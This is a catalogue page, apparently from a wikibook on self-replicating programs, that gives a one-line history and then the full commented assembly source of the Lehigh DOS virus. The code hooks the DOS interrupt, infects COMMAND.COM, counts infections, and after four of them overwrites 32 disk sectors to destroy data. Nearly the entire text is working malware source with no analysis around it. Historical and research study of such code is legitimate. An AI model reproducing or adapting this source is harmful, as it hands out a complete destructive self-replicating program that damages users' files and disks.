Self-Replicating Automata/List/Lehigh

Introduction
The Lehigh virus, a COMMAND.COM infector, appeared around 1987.

Source Code
page	65,132 title	The 'Lehigh' Virus

CODE	SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:CODE

; Interrupt 21H routine

BP0010:	PUSH	AX PUSH	BX CMP	AH,4BH			; Load function? JE	BP0020			; Branch if yes CMP	AH,4EH			; Find file file? JE	BP0020			; Branch if yes JMP	BP0170			; Pass interrupt on

; Load or find file function

BP0020:	MOV	BX,DX			; Get pathname pointer CMP	BYTE PTR [BX+1],':'	; Is a disk specified? JNE	BP0030			; Branch if not MOV	AL,[BX]			; Get disk letter JMP	BP0040

; Is there a COMMAND.COM on disk?

BP0030:	MOV	AH,19H			; Get current disk function INT	44H			; DOS service (diverted INT 21H) ADD	AL,'a'			; Convert to letter BP0040:	PUSH	DS PUSH	CX PUSH	DX PUSH	DI PUSH	CS			; \ Set DS to CS	POP	DS			; / MOV	BX,OFFSET PATHNM	; Address pathname MOV	[BX],AL			; Store disk letter in pathname MOV	DX,BX			; Move pathname address MOV	AX,3D02H		; Open handle (R/W) function INT	44H			; DOS service (diverted INT 21H) JNB	BP0050			; Branch if no error JMP	BP0160			; Restore registers and terminate

; Is COMMAND.COM infected?

BP0050:	MOV	BX,AX			; Move file handle MOV	AX,4202H		; Move file pointer function (EOF) XOR	CX,CX			; \ No offset MOV	DX,CX			; / INT	44H			; DOS service (diverted INT 21H) MOV	DX,AX			; Copy file length MOV	FILELN,AX		; Save file length SUB	DX,2			; Address last word of file MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	DX,OFFSET BUFFER	; Address read buffer MOV	CX,2			; Length to read MOV	AH,3FH			; Read handle function INT	44H			; DOS service (diverted INT 21H) CMP	WORD PTR BUFFER,65A9H	; Is file infected? JNE	BP0060			; Branch if not JMP	BP0080

; Infect COMMAND.COM

BP0060:	XOR	DX,DX			; \ No offset MOV	CX,DX			; / MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	CX,3			; Length to read MOV	DX,OFFSET BUFFER	; Address read buffer MOV	DI,DX			; Copy address MOV	AH,3FH			; Read handle function INT	44H			; DOS service (diverted INT 21H) MOV	AX,[DI+1]		; Get displacement from initial jump ADD	AX,0103H		; Convert to address for COM file MOV	ENTPTR,AX		; Save file entry address MOV	DX,FILELN		; Get file length SUB	DX,OFFSET ENDADR	; Subtract length of virus DEC	DX			; ...and one more MOV	[DI],DX			; Put offset into jump instruction XOR	CX,CX			; Clear high offset for move MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	AL,INFCNT		; Get infection count PUSH	AX			; Preserve infection count MOV	BYTE PTR INFCNT,0	; Set infection count to zero MOV	CX,OFFSET ENDADR	; \ Get length of virus INC	CX			; / XOR	DX,DX			; Address start of virus MOV	AH,40H			; Write handle function INT	44H			; DOS service (diverted INT 21H) POP	AX			; Recover infection count MOV	INFCNT,AL		; Restore original infection count XOR	CX,CX			; \ Address second byte of program MOV	DX,1			; / MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	AX,[DI]			; Get virus offset ADD	AX,OFFSET BP0180	; Add entry point SUB	AX,3			; Subtract length of jump instruction MOV	[DI],AX			; Replace offset MOV	DX,DI			; Address stored offset MOV	CX,2			; Length to write MOV	AH,40H			; Write handle function INT	44H			; DOS service (diverted INT 21H) INC	BYTE PTR INFCNT		; Increment infection count CMP	BYTE PTR INFCNT,4	; Have we reached target? JB	BP0070			; Branch if not JMP	BP0110			; Trash disk

; Is disk A or B?

BP0070:	MOV	BYTE PTR N_AORB,0	; Set off "not A or B" switch CMP	BYTE PTR CURDSK,2	; Is current disk A or B?	JB	BP0080			; Branch if yes MOV	BYTE PTR N_AORB,1	; Set on "not A or B" switch BP0080:	MOV	AH,3EH			; Close handle function INT	44H			; DOS service (diverted INT 21H) CMP	BYTE PTR N_AORB,1	; Is "not A or B" switch on? JE	BP0090			; Branch if yes JMP	BP0160			; Restore registers and terminate

; Disk not A or B

BP0090:	MOV	BYTE PTR N_AORB,0	; Set off "not A or B" switch MOV	BX,OFFSET PATHNM	; Address pathname MOV	AL,CURDSK		; Get current disk ADD	AL,'a'			; Convert to letter MOV	[BX],AL			; Store letter in pathname MOV	DX,BX			; Move pathname address MOV	AX,3D02H		; Open handle (R/W) function INT	44H			; DOS service (diverted INT 21H) JNB	BP0100			; Branch if no error JMP	BP0160			; Restore registers and terminate

; Set infection count same as in current program

BP0100:	MOV	BX,AX MOV	AX,4202H		; Move file pointer function (EOF) XOR	CX,CX			; \ No offset MOV	DX,CX			; / INT	44H			; DOS service (diverted INT 21H) MOV	DX,AX			; \ Address back to infection count SUB	DX,7			; / MOV	AX,4200H		; Move file pointer function (start) INT	44H			; DOS service (diverted INT 21H) MOV	CX,1			; Length to write MOV	DX,OFFSET INFCNT	; Address infection count MOV	AH,40H			; Write handle function INT	44H			; DOS service (diverted INT 21H) MOV	AH,3EH			; Close handle function INT	44H			; DOS service (diverted INT 21H) JMP	BP0160			; Restore registers and terminate

; Trash disk

BP0110:	MOV	AL,CURDSK		; Get current disk CMP	AL,2			; Is disk A or B?	JNB	BP0150			; Branch if not MOV	AH,19H			; Get current disk function INT	44H			; DOS service (diverted INT 21H) MOV	BX,OFFSET PATHNM	; Address pathname MOV	DL,[BX]			; Get drive letter from pathname CMP	DL,'A'			; Is drive letter 'A'? JE	BP0120			; Branch if yes CMP	DL,'a'			; Is drive letter 'a'? JE	BP0120			; Branch if yes CMP	DL,'b'			; Is drive letter 'b'? JE	BP0130			; Branch if yes CMP	DL,'B'			; Is drive letter 'B'? JE	BP0130			; Branch if yes JMP	BP0160			; Restore registers and terminate

; Drive A

BP0120:	MOV	DL,0			; Set drive A	JMP	BP0140

; Drive B

BP0130:	MOV	DL,1			; Set drive B BP0140:	CMP	AL,DL			; Is this the same as current? JNE	BP0150			; Branch if not JMP	BP0160			; Restore registers and terminate

; Write lump of BIOS to floppy disk

BP0150:	MOV	SI,0FE00H		; \ Address BIOS (?) MOV	DS,SI			; / MOV	CX,0020H		; Write 32 sectors MOV	DX,1			; Start at sector one INT	26H			; Absolute disk write POPF MOV	AH,9			; Display string function MOV	DX,1840H INT	44H			; DOS service (diverted INT 21H) BP0160:	POP	DI POP	DX POP	CX POP	DS BP0170:	POP	BX POP	AX JMP	CS:INT_21		; Branch to original Int 21H

; Original Int 21H vector

INT_21	EQU	THIS DWORD DW	138DH			; Int 21H offset DW	0295H			; Int 21H segment

; Entry point for infected program

BP0180:	CALL	BP0190			; \ Get current address BP0190:	POP	SI			; / SUB	SI,3			; Address back to BP0180 MOV	BX,SI			; \ Address of virus start SUB	BX,OFFSET BP0180	; / PUSH	BX			; Save address of virus start ADD	BX,OFFSET FILELN	; Address file length MOV	AH,19H			; Get current disk function INT	21H			; DOS service MOV	[BX-1],AL		; Save current disk MOV	AX,[BX]			; Get file length ADD	AX,0100H		; Add PSP length MOV	CL,4			; \ Convert to paragraphs SHR	AX,CL			; / INC	AX			; Allow for remainder MOV	BX,AX			; Copy paragraphs to keep MOV	AH,4AH			; Set block function INT	21H			; DOS service JNB	BP0200			; Branch if no error JMP	BP0220			; Pass control to host

; Allocate memory for virus

BP0200:	MOV	CL,4			; Bits to move MOV	DX,OFFSET ENDADR	; Length of virus SHR	DX,CL			; Convert to paragraphs INC	DX			; Allow for remainder MOV	BX,DX			; Copy paragraphs for virus MOV	AH,48H			; Allocate memory function INT	21H			; DOS service JNB	BP0210			; Branch if no error JMP	BP0220			; Pass control to host

; Install virus in memory

BP0210:	PUSH	ES PUSH	AX			; Preserve allocated memory segment MOV	AX,3521H		; Get Int 21H function INT	21H			; DOS service MOV	[SI-4],BX		; Save Int 21H offset MOV	[SI-2],ES		; Save Int 21H segment POP	ES			; Recover allocated memory segment PUSH	SI SUB	SI,OFFSET BP0180	; Address back to start of virus XOR	DI,DI			; Target start of new area MOV	CX,OFFSET ENDADR	; \ Length of virus INC	CX			; / REPZ	MOVSB			; Copy virus to new area POP	SI PUSH	DS MOV	DX,[SI-4]		; Get Int 21H offset MOV	AX,[SI-2]		; \ Set DS to Int 21H segment MOV	DS,AX			; / MOV	AX,2544H		; Set Int 44H function INT	21H			; DOS service PUSH	ES			; \ Set DS to ES	POP	DS			; / XOR	DX,DX			; Interrupt 21H routine (BP0010) MOV	AX,2521H		; Set Int 21H function INT	44H			; DOS service (diverted INT 21H) POP	DS POP	ES BP0220:	POP	BX PUSH	ENTPTR[BX]		; Push COM file entry address RET				; ...and return to it

PATHNM	DB	'b:\command.com', 0	; Pathname BUFFER	DB	7FH, 58H, 0BH, 0, 0	; Read buffer ENTPTR	DW	0CB0H			; File entry address N_AORB	DB	0			; "Not A or B" switch INFCNT	DB	0			; Infection count DB	0 CURDSK	DB	0			; Current disk FILELN	DW	5AAAH			; File length DW	65A9H			; Infection indicator

ENDADR	EQU	$-1

CODE	ENDS

END